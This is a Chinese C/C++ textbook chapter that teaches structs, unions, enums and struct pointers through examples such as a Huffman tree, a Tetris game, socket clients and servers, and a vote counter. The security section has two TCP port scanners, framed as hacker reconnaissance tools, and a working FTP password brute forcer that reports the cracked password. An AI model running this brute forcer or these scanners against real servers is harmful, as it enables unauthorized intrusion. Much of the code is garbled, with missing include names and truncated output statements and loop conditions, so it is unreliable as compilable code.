程序设计高级语言允许程序员利用已经存在的数据类型,包括基本数据类型和其他构造数据类型,自行构造新的数据类型。在程序设计过程中程序要处理的对象,往往不是用一种简单的数据类型就可描述的,为了对关系密切但类型不同的数据进行有效的管理,C语言引进了 结构、共用体的概念。结构体后共用体的类型的定义掌握结构体和共用体变量的定义初始化合影用掌握结构体数组和结构体指针的定义及应用,熟悉没几类型,和美即常量的定义初始化和引用了解,用typedf进行数据类型的自定义。链表的操作,包括遍历、插入一个结点和删除一个节点等。
本章演示的实例都是C++类自行定义类型的例子,如怎样定义和使用结构、共用体、结构数组和共用体数组、指向结构的指针,介绍链表实际的使用,这些编程中经常使用,需要反复多实践,加深理解,在实践中应用。
6.1 结构
数据结构是组合到同一定义下的一组不同类型的数据,各个数据类型的长度可以不同。一旦被定义,数据结构就成为一个新的有效数据类型的名称,可以像其他基本的数据类型(如int、char或short)一样,被用来声明该数据类型的变量。本例定义了两个数据结构HuffNode和HuffCode,并最终显示Huffman树的值,效果如图6-1所示。
(1)定义两个结构HuffNode和HuffCode。其代码如下:
#define Max 21 //最大Huffman编码的数组元素
typedef struct //Huffman树的节点结构
{
char data; //节点值
int weight; //权值
int parent; //双亲节点下标
int left; //左孩子下标
int right; //右孩子下标
}HuffNode;
typedef struct //存放Huffman编码的数组元素结构
{
char cd[Max]; //数组
int start; //编码的起始下标
}HuffCode;
(2)主函数定义HuffNode和HuffCode类型的结构,然后输入数据,并显示Huffman树的值。代码如下:
void main()
{
HuffNode ht[2*Max]; //n个叶子节点的Huffman树共2n-1个节点
HuffCode hcd[Max],d;
int i,k,f,l,r,n,c,m1,m2;
cout<<"元素个数:";
cin>>n;
for(i=1;i<=n;i++)
{
cout<<"第"<个元素=>\t节点值:";
cin>>ht[i].data;
cout<<"\t\t权 重:";
cin>>ht[i].weight;
}
for (i=1;i<=2*n-1;i++) //n个叶子节点共有2n-1个节点
ht[i].parent=ht[i].left=ht[i].right=0; //初值为0
for (i=n+1;i<=2*n-1;i++) //构造Huffman树,每次循环构造一棵二叉树
{
m1=m2=32767; //设定初值,用于求最小权重节点
l=r=0; /l和r为最小权重的两个节点位置
for(k=1;k<=i-1;k++) //每次找出权值最小的两个节点
if(ht[k].parent==0)
if(ht[k].weight { m2=m1; r=l; m1=ht[k].weight; l=k; } else if(ht[k].weight { m2=ht[k].weight; r=k; } ht[l].parent=i; //给双亲节点编号 ht[r].parent=i; ht[i].weight=ht[l].weight+ht[r].weight; //双亲节点权重 ht[i].left=l; //左孩子为l ht[i].right=r; //右孩子为r } for (i=1;i<=n;i++) //根据Huffman树求编码 { d.start=n+1; c=i; f=ht[i].parent; while(f!=0) //由叶子节点向上直到根节点 { if(ht[f].left==c) d.cd[--d.start]='0'; //左孩子节点编码为0 else d.cd[--d.start]='1'; c=f; f=ht[f].parent; } hcd[i]=d; } cout<<"输出Huffman编码:\n"; for (i=1;i<=n;i++) //输出叶子节点的Huffman编码 { cout<<" "< for(k=hcd[i].start;k<=n;k++) cout< cout< } system("pause"); } Huffman树对需要编码的数据进行两遍扫描: 第一遍统计原数据中各字符出现的频率,利用得到的频率值创建哈夫曼树,并把树的信息保存起来,即把字符0~255(28=256)的频率值以2~4B的长度顺序存储起来(用4B的长度存储频率值,频率值的表示范围为0~232-1,这已足够表示大文件中字符出现的频率了),以便解压时创建同样的哈夫曼树。 第二遍则根据第一遍扫描得到的哈夫曼树进行编码,并把编码后得到的码字存储起来。 从代码可以看出,我们可以像使用普通变量一样使用结构体成员。例如,ht[i].weight是一个整型数据int;而HuffNode ht[2*Max]是n个叶子节点的Huffman树,共2n-1个节点数据结构数组。 注意:结构经常被用来建立数据库,特别是当考虑结构数组的时候。 定时功能在软件开发中应用很广泛,如设定PC机的时间实现自动关机,或定时实现重启、注销。本例是个简单实现定时功能演示,效果如图6-6所示。 定义时间结构clock;更新定时数据函数update();延时函数delay()输入为毫秒。主函数定义clock结构类型c;用for循环200000,更新定时数据,显示时间。代码如下: #include #include using namespace std; typedef struct{ int hour; //时 int minute; //分 int secend; //秒 }clock; //定义时间结构 void update(clock *t) //更新定时数据 { t->secend++; if(t->secend==60) //秒 { t->secend=0; t->minute++; } if(t->minute==60) //分 { t->minute=0; t->hour++; } if(t->hour==24) //时 { t->hour=0; } } void delay(int a){while(a){a--;}} //延时函数,输入为毫秒 int main(int argc,char *argv[]) { long i; clock c; c.hour=c.minute=c.secend=0; for(i=1;i<200000;i++) //循环200000 { update(&c); //更新定时数据 //显示时间 printf("%3d:%3d:%3d\r",c.hour,c.minute,c.secend); fflush(stdout); //清空缓冲流 delay(1); //延时1毫秒 } system("pause"); return 0; } (1)这是个定时器程序,fflush(stdout)刷新标准输出缓冲区,把输出缓冲区里的内容输出到标准输出设备上。 (2)更新定时数据update()函数,实现累加并转换成时、分和秒形式时间。 (3)延时函数delay(),输入为毫秒,用while语句把输入的数减到0返回。 注意:实际上延时函数在Windows一般用Sleep()函数,Win32 SDK中用SetTimer()函数。 本案例到案例6-6演示安全有关的实例。端口扫描工具是黑客不可缺少的工具,黑客一般先使用扫描工具扫描欲入侵目标主机,掌握目标主机的端口打开情况,然后采取相应的入侵措施。本实例是单线程TCP端口扫描程序,效果如图6-3所示。 图6-3 TCP端口扫描器 定义开始端口和结束端口,读入输入的开始端口和结束端口,异步套接字的启动命令,for循环从开始端口到结束端口,建立socket连接扫描端口,最后显示耗时。代码如下: int main(int argc,char **argv) { char *host; int startport,endport; //定义开始端口和结束端口 char *p; if(argc!=3) { usage(); //显示使用帮助 return 0; } p=argv[2]; //处理端口参数 if(strstr(argv[2],"-")) { startport=atoi(argv[2]); //开始端口 for(;*p;) if(*(p++)=='-')break; endport=atoi(p); //结束端口 if(startport<1 || endport>65535) { printf("Port Error!\n"); //端口输入错误 return 0; } } host=argv[1]; //ip地址 WSADATA ws; SOCKET s; struct sockaddr_in addr; int result; long lresult; lresult=WSAStartup(MAKEWORD(1,1), &ws); //Windows异步套接字的启动命令 addr.sin_family =AF_INET; addr.sin_addr.s_addr =inet_addr(host); start=clock(); //开始计时 for (int i=startport;i { s=socket(AF_INET, SOCK_STREAM, 0); //向系统申请一个通信端口 addr.sin_port = htons(i); //htons机器上的整数转换成“网络字节序” if(s==INVALID_SOCKET)break; result=connect(s, (struct sockaddr*)&addr,sizeof(addr));//建立socket连接 if(result==0) { printf("%s %d\n",host,i); closesocket(s); //关闭一个套接口 } } end=clock(); //计时结束 costtime= (float)(end - start) / CLOCKS_PER_SEC; //转换时间格式 printf("Cost time:%f second",costtime); //显示耗时 WSACleanup(); //终止Winsock 2 DLL (Ws2_32.dll) 的使用 system("pause"); } (1)tcp建立连接时有3次握手。先是client端往server某端口发送请求连接的sym包;server的这个端口如果允许连接,会给client端发一个回包ack;client端收到server的ack包后再给server端发一个ack包;tcp连接正式建立。基于连接的建立过程:假如要扫描某一个tcp端口,可以往该端口发一个sym包,如果该端口处于打开状态,就可以收到一个ack;也就是说,如果收到ack,就可以判断目标扫描出于打开状态;否则,目标端口处于关闭状态。这也就是tcp端口扫描的基本原理。 (2)WSADATA结构被用来保存AfxSocketInit()函数返回的Windows Sockets初始化信息。WSAStartup即WSA(Windows SocKNDs Asynchronous,Windows异步套接字)的启动命令。 注意:tcpip库ws2_32.lib的基于socket的端口扫描测试程序,一次只扫描某一机器的某一个端口,扫描本机即可。 穷举法,将密码进行逐个推算直到找出真正的密码为止,当然需要大量的时间才能破解,这个实例就是C++编程实现ftp暴力破解源码。本例效果如图6-4所示。 图6-4 密码破解器 程序输入网际网区域、端口号、ip地址,建立套接口,建立socket连接,不断产生随机密码,然后对服务器返回的结果进行分析。代码如下: int DoForce( ) //进行破解 { ftpsock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); if( connect(ftpsock,(SOCKADDR *)&sin, sizeof(sin) )== SOCKET_ERROR)return 0; while( true ) { recv( ftpsock, szRecvBuff, sizeof( szRecvBuff ), 0 ); //接收服务器 AnalyzeLine( szRecvBuff ); //返回结果进行分析 } return 1; }; int AnalyzeLine( char* szCommand ) //返回结果进行分析 { strtok( szCommand, " " ); //分解字符串为一组字符串 switch( atoi( szCommand ) ) { case 331: //密码请求 RandomizePass( szCurPass ); wsprintf( szSendBuff, "PASS %s\r\n", szCurPass ); send( ftpsock, szSendBuff, strlen( szSendBuff ), 0 ); break; case 530: //密码不对 closesocket( ftpsock ); //不断尝试是否可以连接到 ftp DoForce( ); break; case 220: //用户请求 wsprintf( szSendBuff, "USER %s\r\n", szUserName ); send( ftpsock, szSendBuff, strlen( szSendBuff ), 0 ); break; case 230: //用户登录 printf( "Password for %s:21 - %s\r\n", szFtpIP, szCurPass ); getchar( ); ExitProcess( 0 ); } return 0; }; int main( ) { SetConsoleTitle( "FTP Brute Forcer by a59" ); //设置控制台窗口的标题 SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), FOREGROUND_BLUE | FOREGROUND_INTENSITY ); printf( "\t\t\tFTP Brute Forcer Coded by a59\n\n\n" ); printf( "Press any key to start brute forcing...\n" ); getchar( ); //按任意键 //用来存储被WSAStartup函数调用后返回的Windows Sockets数据 WSADATA wsa; WSAStartup( MAKEWORD( 2, 2 ), &wsa ); //Windows异步套接字的启动命令 //建立sockaddr_in变量在这里不执行@ DoForce( ),目的提高速度 sin.sin_family = AF_INET; //网际网区域 sin.sin_port = htons( 21 ); //端口号 sin.sin_addr.s_addr = inet_addr( szFtpIP ); //ip地址 srand( GetTickCount( ) ); //操作系统启动到现在所经过的毫秒数 printf( "Connecting to server and starting brute forcer...\n" ); if( DoForce( ) == 0 ) //进行破解 printf( "Error connecting to server\n" ); return 0; }; (1)破解密码的穷举法对于纯数字密码,比如密码为出生日期或者电话号码,就容易破解。但是包含字母的密码就不容易破解。穷举法的原理逐一尝试数字密码的所有排列组合,虽然效率相对最低,但很可靠,所以又有暴力法破解之称。 (2)SOCKADDR_IN此数据结构用做bind()、connect()、recvfrom()、sendto()等函数的参数,指明地址信息。strtok()分解字符串为一组字符串,例如:strtok("abc,def,ghi",","),可以分割成为abc def ghi。 注意:本实例和上实例一样也是关于socket通讯编程的。 扫描器通过采用远程TCP/IP不同的端口的服务,并记录目标给予的应答的信息,通过这种方法可以搜集到很多关于目标主机的各种有用的信息。例如远程系统是否支持匿名登录、是否存在可写的FTP目录、是否开放TELNET服务和HTTPD服务等。本实例演示扫描主机开放端口的程序功能,效果如图6-5所示。 图6-5 扫描主机开放端口 定义sockaddr_in型结构,my_addr显示使用方法;WSAStartup()启动通讯程序;socket为套接口;my_addr赋相应的值。代码如下: #include #include #include int main(int argc, char *argv[]) { int mysocket; int pcount = 0; struct sockaddr_in my_addr; WSADATA wsaData; //存储被WSAStartup函数调用后返回的Windows Sockets数据 WORD wVersionRequested=MAKEWORD(1,1); if(argc < 3) { printf("usage: %s exit(1); //结束程序 } if (WSAStartup(wVersionRequested , &wsaData)){ //Windows异步套接字的启动命令 printf("Winsock Initialization failed.\n"); exit(1); } for(int i=1; i < atoi(argv[2]); i++){ if((mysocket = socket(AF_INET, SOCK_STREAM,0)) == INVALID_SOCKET){//建立套接口 printf("Socket Error"); exit(1); } my_addr.sin_family = AF_INET; //网际网区域 my_addr.sin_port = htons(i); //端口号 my_addr.sin_addr.s_addr = inet_addr(argv[1]); //ip地址 //建立socket连接 if(connect(mysocket, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == SOCKET_ERROR) closesocket(mysocket); //关闭套接口 else{ pcount++; printf("Port %d - open\n", i); }} printf("%d ports open on host - %s\n", pcount, argv[1]); closesocket(mysocket); //关闭套接口 WSACleanup(); //终止Winsock 2 DLL (Ws2_32.dll) 的使用 return 0; } (1)TCP connect()扫描:这是最基本的TCP扫描,操作系统提供的connect()函数实现系统调用,可以用来与每一个感兴趣的目标计算机的端口进行连接。如果端口处于侦听状态,那么connect()就能成功;否则,这个端口是不能用的,即没有提供服务。 (2)WSAStarup是Windows SocKNDs Asynchronous的启动命令、Windows下的网络编程接口软件 Winsock1或Winsock2中的一个命令。代码my_addr是结构struct sockaddr { unsigned short sa_family; /* address family, AF_xxx */ char sa_data[14]; /* 14 bytes of protocol address */};。程序链接时加上ws2_32.lib。 注意:程序中用到的socket函数库是专门实现网络连接的一套综合函数库,这套函数内容丰富,在各种流行编程语言中都有。如黑客在学习了C语言和socket函数库以后,便可以快速掌握其他的各种编程语言并使用之编写出相当数量的黑客工具。 进程是操作系统结构的基础,是一个正在执行的程序,是计算机中正在运行的程序实例,是可以分配给处理器并由处理器执行的一个实体。在Windows操作系统中,有些非法的程序,可以在任务管理器进程列表中看到,然后编写个程序删除。本例效果如图6-6所示。 图6-6 删除进程 程序定义用来存放快照进程信息的一个结构体PROCESSENTRY32,取得进程句柄,循环取得所有进程和输入进程名称进行比较,如果相同就终止指定进程及其所有线程。其代码如下: #include "stdio.h" #include "windows.h" #include "Tlhelp32.h" #include void KillProgram(LPCSTR ExeName) { LPCSTR File=NULL; HANDLE hProcessSnap; PROCESSENTRY32 pe32; //用来存放快照进程信息的一个结构体 //通过获取进程信息为指定的进程、进程使用的堆、模块、线程建立一个快照 hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); pe32.dwSize=sizeof(PROCESSENTRY32); if(Process32First(hProcessSnap,&pe32)) //获得第一个进程的句柄 { do { File=pe32.szExeFile; if(strcmp(File,ExeName)==0) //比较字符串File和ExeName { TerminateProcess(OpenProcess(PROCESS_ALL_ACCESS,0,pe32.th32ProcessID),0); //终止指定进程及其所有线程 break; } } while(Process32Next(hProcessSnap,&pe32)); //获得下一个进程的句柄 } CloseHandle(hProcessSnap); //关闭进程 } int main(int argc, char *argv[]) { cout<<"kill cmd.exe"< KillProgram("cmd.exe"); system("pause"); } 程序关键怎样取得进程的句柄,通常用比较字符串的方法取得进程,然后杀掉。Process32First()获得第一个进程的句柄;while循环Process32Next()函数获得下一个进程的句柄;TerminateProcess()终止指定进程及其所有线程。 注意:程序用Windows的API函数实现。 6.2 共用体 在游戏等交互软件中,用动态指令去执行相应的函数,来实现相应的动作,本实例和下个实例程序以俄罗斯方块游戏为例,讨论这方面问题。本例演示实现分发控制命令功能,实现方块旋转,效果如图6-7所示。 图6-7 设计一个动态指令接收程序 函数GetCmd (),实现分发控制命令功能,实现方块旋转。代码实现如下: //定义操作类型 enum CMD { CMD_ROTATE, //方块旋转 CMD_LEFT, CMD_RIGHT, CMD_DOWN, //方块左、右、下移动 CMD_SINK, //方块沉底 CMD_QUIT //退出游戏 }; //获取控制命令 DWORD m_oldtime; CMD GetCmd() { while(true) //获取控制值 { //如果超时,自动下落一格 DWORD newtime = GetTickCount(); if (newtime - m_oldtime >= 500) { m_oldtime = newtime; return CMD_DOWN; } //如果有按键,返回按键对应的功能 if (kbhit()) { switch(getch()) { case 'w': case 'W': return CMD_ROTATE; //方块旋转 case 'a': case 'A': return CMD_LEFT; //方块左移动 case 'd': case 'D': return CMD_RIGHT; //方块右移动 case 's': case 'S': return CMD_DOWN; case 27: return CMD_QUIT; case ' ': return CMD_SINK; case 0: case 0xE0: switch(getch()) { case 72: return CMD_ROTATE; case 75: return CMD_LEFT; case 77: return CMD_RIGHT; case 80: return CMD_DOWN; } } } Sleep(20); //延时(降低CPU占用率) } } (1)函数kbhit()(VC++下为_kbhit()):检查当前是否有键盘输入,若有键盘输入则返回一个非0值,否则返回0。 (2)getch()在Windows平台下从控制台无回显地取一个字符,注意在Linux下是有回显的。 (3)定义操作类型enum CMD。枚举数据类型在编译时是被编译为整型数值的,而它的数值列表可以是任何指定的整型常量。 代码见实例206。继续俄罗斯方块话题。编程中经常要输出图形,其中就会涉及到一定算法。本实例举的调用第三方图形库实现,效果如图667所示。 图6-8 图形输出算法 程序分3个演示,输入参数BLOCKINFO,定义当前方块、下一个方块的信息;DRAW定义绘制方块的方法。设置填充图样和颜色,利用for循环,画一个三维条形图和画出一条栏目。其代码如下: //画方块 void DrawBlock(BLOCKINFO _block, DRAW _draw) { WORD b = g_Blocks[_block.id].dir[_block.dir]; //定义七种俄罗斯方块 int x, y; int color = BLACK; switch(_draw) //SHOW显示方块,HIDE隐藏方块,FIX固定方块 { case SHOW: color = g_Blocks[_block.id].color; break; case HIDE: color = BLACK; break; case FIX: color = g_Blocks[_block.id].color / 3; break; } setfillstyle(color); //设置填充图样和颜色 for(int i=0; i<16; i++) { if (b & 0x8000) { x = _block.x + i % 4; y = _block.y - i / 4; if (y < HEIGHT) { if (_draw != HIDE) //画一个三维条形图 bar3d(x * SIZE + 2, (HEIGHT - y - 1) * SIZE + 2, (x + 1) * SIZE - 4, (HEIGHT - y) * SIZE - 4, 3, true); else //画出一条栏目 bar(x * SIZE, (HEIGHT - y - 1) * SIZE, (x + 1) * SIZE - 1, (HEIGHT - y) * SIZE - 1); } } b <<= 1; } } bar3d()和bar(),是头文件graphics.h中定义的函数。功能分别是画一个三维条形图和画一个二维条形图。g_Blocks定义七种俄罗斯方块,每一种包括四个旋转状态和颜色。 注意:头文件graphics.h定义的功能很多,对图形处理的功能很强大。 继续206实例的话题,代码见206。在游戏或其他交互输入中,通过命令,执行对应的程序。本例演示分发控制命令,执行不同的函数实现方块旋转,效果如图6-9所示。 图6-9 编写指令响应程序 函数DispatchCmd(),实现分发控制命令功能,实现方块旋转。代码实现如下: //分发控制命令 void DispatchCmd(CMD _cmd) { switch(_cmd) { case CMD_ROTATE: OnRotate(); break; //方块旋转 case CMD_LEFT: OnLeft(); break; //左移动 case CMD_RIGHT: OnRight(); break; //右移动 case CMD_DOWN: OnDown(); break; //下移动 case CMD_SINK: OnSink(); break; //方块沉底 case CMD_QUIT: break; } } 如果一个变量只有几种可能的值,这时就可以定义为枚举类型。枚举类型就是将变量的值一一列举出来,变量的值仅限于列举出来的值的范围内。上述代码:CMD_ROTATE方块旋转,CMD_LEFT、CMD_RIGHT、CMD_DOWN方块左、右、下移动,CMD_SINK方块沉底,CMD_QUIT退出游戏。 6.3 结构数组和共用体数组 本章开始演示Socket网络编程的实例,现在是互联网时代,因此程序员需要掌握网络编程。通讯至少要有个服务器端和客户端,本实例开始从最简单通讯编程谈起,举的是TCP通讯协议客户端的实例,代码见实例228。本例效果如图6-10所示。 图6-10 网络客户端开发(TCP/UDP) 定义个文件结构Filedata,函数StartSock()初始化套接字,CreateSocket()创建套接口,CallServer()创建套接口调用库函数,connect()请求连接。代码如下: #include "WinSock.h" #include "windows.h" #include "stdio.h" #pragma comment(lib,"wsock32.lib") //WinSock API 链接库文件 #define RECV_PORT 2000 //接收端口号 #define SEND_PORT 3000 //发送端口号 #define MAX_FILESIZE 32*1024 //文件最大值 SOCKET sock; sockaddr_in ServerAddr; //服务器端地址 struct Filedata { char ffname[30]; //文件名称 char ffdata[MAX_FILESIZE]; //文件内容 int len; //文件长度 }DataPacket; //文件结构 DWORD StartSock() { WSADATA WSAData; //存放windows socket初始化信息 if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) //初始化套接字 { printf("sock init fail!\n"); return (-1); } ServerAddr.sin_family = AF_INET; //套接字的网络地址 ServerAddr.sin_port = htons(RECV_PORT); //端口号 ServerAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); //ip地址 return (1); } DWORD CreateSocket() //创建套接口 { sock = socket(AF_INET,SOCK_STREAM,0); //创建套接口 if(sock == SOCKET_ERROR) { printf("sock create fail!\n"); WSACleanup(); //终止Winsock 2 DLL (Ws2_32.dll) 的使用 return (-1); } return (1); } void CallServer() { CreateSocket(); //创建套接口 //请求连接 while(connect(sock,(struct sockaddr*)&ServerAddr,sizeof(ServerAddr)) == SOCKET_ERROR) printf("Connect...\n"); } 进行Windows网络编程,需要在程序中包含头文件WINSOCK2.H或MSWSOCK.H,编译时需要添加链接库WS2_32. LIB或WSOCK32.LIB。这样,就可以编写网络程序了。 设计一个基本的网络客户端有以下几个步骤: 1、初始化Windows Socket; 2、创建一个监听的Socket; 3、设置服务器地址信息,并将监听端口绑定到这个地址上; 4、开始呼叫服务器; 5、接受服务器端连接; 6、和服务器端通信; 7、结束服务并清理Windows Socket和相关数据,或者返回第4步。 注意:本实例演示的是单线程传输文件代码,其缺点是速度慢,常用的通讯工具采用的是多线程技术通讯技术。 本实例继续上面的实例的演示。编写一个服务器端程序,实际上客户端和服务器端名称是随便起的,只是实现功能不同而起名,服务器端监听客户端的呼叫。本例演示的是TCP通讯协议服务器端的代码,效果如图6-11所示。 图6-11 网络服务端开发(TCP/UDP) 函数WriteFile()写入接收的内容到文件,以写的方式打开文件,读文件内容,把文件名称和长度ffname和ffdata赋值给DataPacket;在主函数套接口初始化,创建套接口,读取输入的文件名,调用函数WriteFile()写文件,调用函数recv()接收文件内容。代码如下: DWORD WriteFile(char *fname,char *fdata,int flen) { int i = 0; FILE *fp; fp = fopen(fname,"w"); //以写的方式打开文件 if(fp == NULL) { printf("cannot open this file\n"); } for(i=0; i { fputc(fdata[i],fp); //写文件内容 } fclose(fp); //关闭文件 return (1); } DWORD ConnectProcess() //处理接收文件内容 { Addrlen = sizeof(sockaddr_in); if(listen(sock,5) < 0) { printf("Listen error"); return (-1); } printf("Listen...\n"); while(1) { //接收文件内容 sock1 = accept(sock,(struct sockaddr FAR *)&ClientAddr,&Addrlen); while(1) { memset(DataPacket.ffname,0,30); //字符串清零 memset(DataPacket.ffdata,0,MAX_FILESIZE); //字符串清零 DataPacket.len = 0; if(recv(sock1,(char*)&DataPacket,sizeof(DataPacket),0) <= 0) { break; } printf("Has received file:%s,length is %d",DataPacket.ffname, DataPacket.len); WriteFile(DataPacket.ffname, DataPacket.ffdata, DataPacket.len); //写文件内容 printf("\n"); } } } 对于服务器端程序,建立的套接字必须绑定到用与TCP通信的本地IP地址和端口上。Bind方法是实现用户完成绑定工作功能。address包括一个本地IP地址和端口号。在套接字绑定到本地IP地址之后,就可以用listen()方法等待客户机发出的连接尝试。 设计一个基本的网络服务器有以下几个步骤: 1、初始化Windows Socket; 2、创建一个监听的Socket; 3、设置服务器地址信息,并将监听端口绑定到这个地址上; 4、开始监听; 5、接受客户端连接; 6、和客户端通信; 7、结束服务。并清理Windows Socket和相关数据,或者返回第4步。 注意:Socket编程有阻塞式和非阻塞式两种。 UDP协议是一种无连接的协议,通讯的时候速度快,如QQ聊天工具传输语音、图像等用的就是该协议,这跟TCP协议有区别;而且因为是不可靠信息传送服务,需要加校验码控制。本实例是个简单的UDP通讯实现发送信息功能。本例效果如图6-12所示。 图6-12 网络聊天室(基于UDP) WSAStartup()初始化套接字动态库,socket()创建套接字,服务器参数赋值给servAddr,sendto()给服务器端发送数据。服务器端Server.cpp代码如下: #include "stdafx.h" #define BUF_SZIE 64 #include "winsock2.h" #pragma comment(lib, "ws2_32.lib") int main(int argc, char* argv[]) { WSADATA wsd; //WSADATA变量 SOCKET s; //套接字 SOCKADDR_IN servAddr; //服务器地址 char buf[BUF_SZIE]; //接收数据缓冲区 //初始化套结字动态库 if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) { printf("WSAStartup failed!\n"); return 1; } //创建套接字 s = socket(AF_INET, SOCK_DGRAM, 0); if (s == INVALID_SOCKET) { printf("socket() failed; %d\n", WSAGetLastError()); WSACleanup(); //释放套接字资源 return 1; } int nErrCode; //返回值 int nBufLen; //接收数据缓冲区大小 int nOptlen = sizeof(nBufLen); //获取接收数据缓冲区大小 nErrCode = getsockopt(s, SOL_SOCKET, SO_RCVBUF,(char*)&nBufLen, &nOptlen); if (SOCKET_ERROR == nErrCode) { //处理失败 } //设置接收数据缓冲区为原来的10倍 nBufLen *= 10; nErrCode = setsockopt(s, SOL_SOCKET, SO_RCVBUF,(char*)&nBufLen, nOptlen); if (SOCKET_ERROR == nErrCode) { //失败处理 } //检查设置系统接收数据缓冲区是否成功 int uiNewRcvBuf; getsockopt(s, SOL_SOCKET, SO_RCVBUF,(char*)&uiNewRcvBuf, &nOptlen); if (SOCKET_ERROR == nErrCode || uiNewRcvBuf != nBufLen) { //失败处理 } //服务器地址 servAddr.sin_family = AF_INET; servAddr.sin_port = htons((short)5000); //端口 servAddr.sin_addr.s_addr = htonl(INADDR_ANY);//IP //绑定 if (bind(s, (SOCKADDR *)&servAddr, sizeof(servAddr)) == SOCKET_ERROR) { printf("bind() failed: %d\n", WSAGetLastError()); closesocket(s); //关闭套接字 WSACleanup(); //释放套接字资源 return 1; } //接收数据 SOCKADDR_IN clientAddr; int nClientLen = sizeof(clientAddr); ZeroMemory(buf, BUF_SZIE); if(recvfrom(s, buf, BUF_SZIE, 0, (SOCKADDR*)&clientAddr, &nClientLen) == SOCKET_ERROR) { printf("recvfrom() failed: %d\n", WSAGetLastError()); closesocket(s); //关闭套接字 WSACleanup(); //释放套接字资源 return 1; } printf("%s\n", buf); //输出"实例199 网络聊天室(基于UDP)" closesocket(s); //关闭套接字 WSACleanup(); //释放套接字资源 return 0; } UDP是OSI参考模型中一种无连接的传输层协议,提供面向事务的简单不可靠信息传送服务。UDP协议实现功能基本上是IP协议与上层协议的接口。UDP协议适用端口分别运行在同一台设备上的多个应用程序。各UDP报文分UDP报头和UDP数据区两部分。报头由4个16位长(8字节)字段组成,分别说明该报文的源端口、目的端口、报文长度以及校验和。 V 注意:UDP协议使用报头中的校验值来保证数据的安全,这与TCP协议是不同的,UDP要求必须具有校验值。 6.4 指向结构的指针 指针不但可以指向如int、char等常用的数据类型,而且可以指向一个结构或者一个类等,本实例指向的是一个定义好的数据结构,效果如图6-13所示。 图6-13 指向结构体变量的指针 定义名称为学生的结构student,结构中的变量有编号、姓名、性别、分数,定义student结构类型的变量stu,定义指针指向stu的值p,对结构变量赋值,输出stu和*p的值。代码如下: #include #include using namespace std; int main() { struct student //定义名称为学生的结构 { int num; //编号 string name; //string类,姓名 char sex; //性别 float score; //分数 }; student stu; //定义student类型 student *p=&stu; //定义指针指向stu的值 stu.num=10206; //输入编号 stu.name="ZSF"; //姓名 stu.sex='F'; //性别 stu.score=98; //分数 //输出编号、姓名、性别、分数 cout< //输出编号、姓名、性别、分数 cout<<(*p).num<<" "<<(*p).name<<" "<<(*p).sex<<" "<<(*p).score< cout< 输出p地址 system("pause"); return 0; } (1)struct student是一个数据结构,是组合到同一定义下的一组不同类型的数据,各个数据类型的长度可能不同。 (2)数据结构struct student的花括号{ }内是组成这一结构的各元素的类型和子标识。包含域num、name、sex、score,stu.name表示定义的变量,可以像操作其他变量(如int)一样操作它。 编程中经常要统计数据,如选举中要统计候选人的票数。本例按一般编程思路,首先定义好类和数据结构,然后输入数据,中间经过数据处理(如排序等),最后按格式输出统计的数据。本例效果如图6-14所示。 (1)创建一个结构candidate,代码中的函数ballot()是输入选票,vote()是统计选票。其代码如下: 图6-14 统计数据(综合) Candidate *ballot() //输入选票 { Candidate* head,*p1,*p2; //定义3个结构指针;head指向返回,p1指向输入 n=1; p1=p2=new Candidate; cout<<"请输入第"< cin>>p1->cdd; head=NULL; //不带头节点 while(p1->cdd!='#') //判断是否为结束符号'#' { n++; if(n==2) head=p1; //赋值返回指针 else p2->next=p1; p2=p1; p1=new Candidate; cout<<"请输入第"< cin>>p1->cdd; } p2->next=NULL; return head; //返回指针结构,输入选票数据 } void vote(Candidate*h,int a[6]) //统计选票 { Candidate *p=h; char candd; //临时字符变量 while(p!=NULL) { candd=p->cdd; //取出链表中输入的字符 switch (candd) //判断输入字符 { case 'A':a[0]++;break; case 'B':a[1]++;break; case 'C':a[2]++;break; case 'D':a[3]++;break; case 'E':a[4]++;break; default:a[5]++;break; } p=p->next; //取链表的下一个数据 } } (2)主函数中先取得候选人输入的票数,然后统计票数,最后输出结果,代码如下: void main() { Candidate* head; //定义结构 head=ballot(); vote(head,b); cout<<"候选人:"; for(int i=0;i<6;i++) cout< cout< for(int j=0;j<6;j++) cout< cout< cout< system("pause"); } (1)定义一个结构candidate,然后定义指向该结构的链表Candidate* head;,然后就可以对链表进行操作,如对链表赋值和取链表数据p1->cdd;candd=p->cdd。 (2)p1=new Candidate;,是对结构分配空间;int a[6]定义数组用于存储选票数量。 注意:灵活使用指针存储数据并根据实际情况灵活处理,可以实现诸如链表、栈等数据结构的功能。 C++是面向对象的语言,应用范围非常广;不但适合事务处理而且对推理型的人工智能也适宜。人工智能(AI)是研究、开发用于模拟、延伸和扩展人智能的理论、方法、技术及应用系统的一门新的技术科学。本实例举人工智能用VC++编写的动物识别的系统程序,效果如图6-15所示。 图6-15 人工智能(随机+数据库) 字符串str存储的是动物名称,可以是中文和英文名称;整型数组rulep,定义产生式规则;整型数组rulec,定义结论;定义3个类fact、list和rule;根据系统的提示逐步输入Y或者N来进行推理,直到推出结论。主函数代码如下: int main() { fact *F,*T; //知识库 rule *Rule,*R; //结论 char ch[8]; int i=1; Fact=NULL; //知识库 while(str[i-1]) //初始化知识库,倒序排列。 { F=new fact(i,str[i-1]); F->Next=Fact; //下一节点 Fact=F; //知识库 i++; } F=Fact; Fact=NULL; //知识库 while(F) //把倒序排列正过来。 { T=F; F=F->Next; T->Next=Fact; //下一节点 Fact=T; //知识库 } i=0; ch[0]='R'; ch[1]='U'; ch[2]='L'; ch[3]='E'; ch[4]='_'; ch[5]='a'; ch[6]='\0'; Rule=NULL; for(i=0;i<15;i++) //初始化规则库 { R=new rule(ch,rulep[i],rulec[i]); //新规则库 R->Next=Rule; //下一节点 Rule=R; ch[5]++; } R=Rule; for(;;) { i=R->Query(); //推理 if((i==1)||(i==-1)) break; R=R->Next; //下一规则库节点 if(!R) break; } if(!R) cout<<"I don't know."< cout<<"press any key to exit."< getchar(); //按任意键 return True; } (1)人工智能是计算机科学的一个分支,它通过了解智能的实质,研制出一种新的能以人类智能相似的方式做出反应的智能机器,该领域研究机器人、语言识别、图像识别、自然语言处理和专家系统等。 